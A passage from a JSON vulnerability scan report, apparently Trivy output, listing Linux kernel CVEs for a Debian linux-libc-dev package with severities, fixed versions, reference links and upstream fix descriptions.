"https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/a2f57827bf7c695b8c72dc4511cae8e86582369d%20%287.2-rc4%29", "https://git.kernel.org/stable/c/3fb7edd2018bb1ad0a68157383d9b9dac33dd645", "https://git.kernel.org/stable/c/4f2d1151421520d7ae16ca8d367d0ca09f5dfbd7", "https://git.kernel.org/stable/c/657118cad620172dfd8f6ed5717fd75c0d1f7a5a", "https://git.kernel.org/stable/c/a10f5080afbed242640f2984328de25f84557da1", "https://git.kernel.org/stable/c/a2f57827bf7c695b8c72dc4511cae8e86582369d", "https://git.kernel.org/stable/c/ac6ac3d35bfc0ade9d17d354c84e503a946ebdab", "https://git.kernel.org/stable/c/ad1e14710b360bda087ebf9fb82460eb5ef775de", "https://git.kernel.org/stable/c/e51687fc56c2e39ea6e9532925f1aabd4d529f61", "https://linux.oracle.com/cve/CVE-2026-68476.html", "https://linux.oracle.com/errata/ELSA-2026-90365.html", "https://lore.kernel.org/linux-cve-announce/2026081505-CVE-2026-68476-47ba@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68476", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68476" ], "PublishedDate": "2026-08-15T06:20:41.387Z", "LastModifiedDate": "2026-09-02T13:18:04.373Z" }, { "VulnerabilityID": "CVE-2026-68480", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68480", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ca7261e468a1f3a5ebe8368d096a708d4aae20e23a793063a7d385696ddaf631", "Title": "kernel: AMD-SN-7061: Safe RET Interrupt Vulnerability", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/bugs: Make Safe-RET robust against interrupt injection\n\nAn attacker injecting interrupts while the Safe-RET mitigation executes\non machines affected by SRSO can neutralize the safe return sequence,\npotentially leading to data leakage through speculative execution.\n\nFixup register state as if the Safe-RET sequence executed successfully\nby \"emulating\" it, in a manner of speaking, and avoid executing a RET\ninstruction after returning from the interrupt.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-68480", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/stable/c/52db77a13be224e09eb4ba6b4252ae8ab9085c2c", "https://git.kernel.org/stable/c/61649a2d61cb0dbc673f0f232f0f0c298bf50442", "https://git.kernel.org/stable/c/6703dba1d14cbd6647cd1ccfa3a3fa94b64dd096", "https://git.kernel.org/stable/c/7e7f81cf6f5ca3311e526308f55d7c54d3ba71f9", "https://git.kernel.org/stable/c/bfe7f9993467ba431b2731437949ac1e2634e771", "https://git.kernel.org/stable/c/d0208e08d64d99383e09852a76cc3038c5a4c3ab", "https://git.kernel.org/stable/c/dfefa3c51370f84acb643cddf98bb42c885d0483", "https://git.kernel.org/stable/c/e262f28a69ae9e0791248f93b0173c1d1f3e1d5d", "https://linux.oracle.com/cve/CVE-2026-68480.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026080631-CVE-2026-68480-ad40@gregkh/", "https://nvd.nist.gov/vuln/detail/CVE-2026-68480", "https://people.csail.mit.edu/mengjia/data/2026.USENIX.TONTOU.pdf", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68480" ], "PublishedDate": "2026-08-06T22:18:24.697Z", "LastModifiedDate": "2026-11-06T17:19:34.44Z" }, { "VulnerabilityID": "CVE-2026-72042", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72042", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:24b41e2cae14a16e9a9306cba5670e6c2981426d057ced559b9e889fd71c8886", "Title": "kernel: ipmi: Fix user refcount underflow in event delivery", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipmi: Fix user refcount underflow in event delivery\n\nipmi_alloc_recv_msg(user) takes the temporary user reference owned by the\nreceive message, and ipmi_free_recv_msg() drops it again. If event delivery\nfails after allocating receive messages for earlier users,\nhandle_read_event_rsp() rolls those messages back with\nipmi_free_recv_msg().\n\nThat rollback path still drops user-\u003erefcount explicitly after freeing each\nmessage. The extra put can free a user that remains linked on intf-\u003eusers,\nso later event delivery may dereference a freed user or trip refcount_t's\naddition-on-zero warning when ipmi_alloc_recv_msg() tries to acquire\nanother reference.\n\nRemove the stale explicit put and the now-dead user assignment. Keep the\nlist_del() and ipmi_free_recv_msg() calls; they are the required rollback\noperations.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72042", "https://git.kernel.org/linus/6aa9e61c46465d231e9beddf56af7effd71be682%20%287.2-rc1%29", "https://git.kernel.org/stable/c/6aa9e61c46465d231e9beddf56af7effd71be682", "https://git.kernel.org/stable/c/7be349d4fcc5e065295b83418a22d27a68afbdb6", "https://git.kernel.org/stable/c/ddbb6e3dc9bb4743de686aa1598c31e745cee76b", "https://lore.kernel.org/linux-cve-announce/2026081513-CVE-2026-72042-3b9c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72042", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72042" ], "PublishedDate": "2026-08-15T06:21:13.37Z", "LastModifiedDate": "2026-08-17T06:18:02.133Z" }, { "VulnerabilityID": "CVE-2026-72052", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72052", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6770807a1f50e1e5e89813896875437ac4db293fa8f8f325a35f16aff3b5e2e6", "Title": "kernel: net: ip6_gre: require CAP_NET_ADMIN in the device netns for changelink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ip6_gre: require CAP_NET_ADMIN in the device netns for changelink\n\nip6gre_changelink() and ip6erspan_changelink() operate on at most two\nnetns, dev_net(dev) and the tunnel link netns t-\u003enet. They differ once\nthe device is created in or moved to a netns other than the one the\nrequest runs in. The rtnl changelink path checks CAP_NET_ADMIN only\nagainst dev_net(dev), so a caller privileged there but not in t-\u003enet can\nrewrite a tunnel that lives in t-\u003enet.\n\nGate both ops on rtnl_dev_link_net_capable() at their top, before any\nattribute is parsed.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-72052", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/f00a50876d2818bd6dc86fa98b3ef360884c53c8%20%287.2-rc1%29", "https://git.kernel.org/stable/c/03d8843b143ebbbfaf48511922abc6e886575a61", "https://git.kernel.org/stable/c/0caa9f348f8b5356900de77b0bb89a697c4aff20", "https://git.kernel.org/stable/c/129f8939e5af683cec3a1a5edcb40a64636ad81e", "https://git.kernel.org/stable/c/1d4d8ee002083ca4ead5353662bf8362428af57f", "https://git.kernel.org/stable/c/220162c9fedbe992da70d70f50a10da4f45f914c", "https://git.kernel.org/stable/c/c38c8b0db3c65b597e7ece317b6cb59de3d15e69", "https://git.kernel.org/stable/c/e3724dedf57761c6de52f4d604ec74f66fd61611", "https://git.kernel.org/stable/c/f00a50876d2818bd6dc86fa98b3ef360884c53c8", "https://linux.oracle.com/cve/CVE-2026-72052.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081515-CVE-2026-72052-1653@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72052", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72052" ], "PublishedDate": "2026-08-15T06:21:14.523Z", "LastModifiedDate": "2026-10-19T22:17:24.12Z" }, { "VulnerabilityID": "CVE-2026-72061", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72061", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:329fe7401255bbc2301ee659e54bdecfb73a65f2b80a62a280df6211634ef836", "Title": "kernel: net: sit: require CAP_NET_ADMIN in the device netns for changelink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sit: require CAP_NET_ADMIN in the device netns for changelink\n\nipip6_changelink() operates on at most two netns, dev_net(dev) and the\ntunnel link netns t-\u003enet. They differ once the device is created in or\nmoved to a netns other than the one the request runs in. The rtnl\nchangelink path checks CAP_NET_ADMIN only against dev_net(dev), so a\ncaller privileged there but not in t-\u003enet can rewrite a tunnel that\nlives in t-\u003enet.\n\nGate ipip6_changelink() on rtnl_dev_link_net_capable() at its top,\nbefore any attribute is parsed. sit was the one tunnel type not covered\nby the recent series that added this check to the other changelink()\nhandlers.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72061", "https://git.kernel.org/linus/27ccb68e7cccead5d8c611665a45d23032d468b3%20%287.2-rc1%29", "https://git.kernel.org/stable/c/27ccb68e7cccead5d8c611665a45d23032d468b3", "https://git.kernel.org/stable/c/3118e97dae533fb45964b87bbed1801afcff7c65", "https://git.kernel.org/stable/c/388ccffbd2e7e5e4271f291085a7451865705305", "https://git.kernel.org/stable/c/7d139dec96691cde96cb40ed293e2d13d994fb4f", "https://git.kernel.org/stable/c/99ae3248b33df94201915d9c32e7470cdf08cfcd", "https://git.kernel.org/stable/c/c0ea1aedb37bb979e864ed7787975434bbd9db73", "https://git.kernel.org/stable/c/c5a0ae895432596b2f464172da8218e2d84e2932", "https://git.kernel.org/stable/c/cb41b308e9d867725d965b291dd085028e36a480", "https://linux.oracle.com/cve/CVE-2026-72061.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026081517-CVE-2026-72061-0d04@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72061", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72061" ], "PublishedDate": "2026-08-15T06:21:15.637Z", "LastModifiedDate": "2026-10-19T22:17:24.953Z" }, { "VulnerabilityID": "CVE-2026-72083", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72083", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6e43342d17820572268bd47ae1ec388e641ab52309037ad842d43f0a15ea84c0", "Title": "kernel: scsi: target: core: Fix iSCSI ISID use-after-free in REGISTER AND MOVE", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: core: Fix iSCSI ISID use-after-free in REGISTER AND MOVE\n\ncore_scsi3_emulate_pro_register_and_move() maps the PERSISTENT RESERVE OUT\nparameter list with transport_kmap_data_sg() and parses the destination\nTransportID with target_parse_pr_out_transport_id(). For an iSCSI\nTransportID (FORMAT CODE 01b), iscsi_parse_pr_out_transport_id() returns\nthe ISID in iport_ptr as a raw pointer into that mapped buffer.\n\nThe function then unmaps the buffer with transport_kunmap_data_sg() before\ndereferencing iport_ptr in strcmp(), __core_scsi3_locate_pr_reg() and\ncore_scsi3_alloc_registration(). When the parameter list spans more than\none page (PARAMETER LIST LENGTH \u003e 4096), transport_kmap_data_sg() uses\nvmap() and transport_kunmap_data_sg() does vunmap(), so the kernel virtual\naddress backing iport_ptr is torn down and every 